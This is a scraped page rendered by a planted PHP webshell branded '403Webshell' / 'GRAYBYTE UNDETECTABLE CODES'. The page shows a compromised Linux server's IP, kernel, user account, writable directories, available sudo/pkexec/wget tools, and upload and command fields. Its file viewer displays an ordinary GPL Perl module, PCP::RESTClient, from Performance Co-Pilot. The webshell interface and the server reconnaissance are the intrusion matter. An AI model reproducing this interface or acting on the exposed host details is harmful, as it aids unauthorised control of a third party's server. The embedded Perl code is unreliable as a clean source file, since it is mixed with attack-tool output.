- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.14.131.35
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/libexec/pcp/pmdas/activemq/PCP/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/libexec/pcp/pmdas/activemq/PCP/RESTClient.pm
#
# Copyright (c) 2014 Aconex
# 
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the
# Free Software Foundation; either version 2 of the License, or (at your
# option) any later version.
# 
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
# or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
# for more details.
# 
use strict;

package PCP::RESTClient;
use JSON;

sub new {
    my $class = shift;
    my $self = {
	_http_client => shift,
	_cache => shift,
	_host => shift,
	_port => shift,
	_username => shift,
	_password => shift,
	_realm => shift,
    };
    $self->{_http_client}->credentials($self->{_host} . ":" . $self->{_port}, $self->{_realm}, $self->{_username}, $self->{_password});
    bless $self, $class;
    return $self;
}

sub get {
    my ($self, $url) = @_;
    my $json = undef;

    my $cached_json = $self->{_cache}->get($url);
    if(defined($cached_json)) {
	$json = $cached_json;
    }
    else {
	my @header = ('Origin' => 'http://localhost',);
	my $response = $self->{_http_client}->get("http://" . $self->{_host} . ":" . $self->{_port} . $url, @header);
	return undef unless defined($response);
	return undef unless $response->is_success;
	$json = decode_json($response->decoded_content);
	$self->{_cache}->put($url,$json);
    }

    return $json;
}

1;

Youez - 2016 - github.com/yon3zu
LinuXploit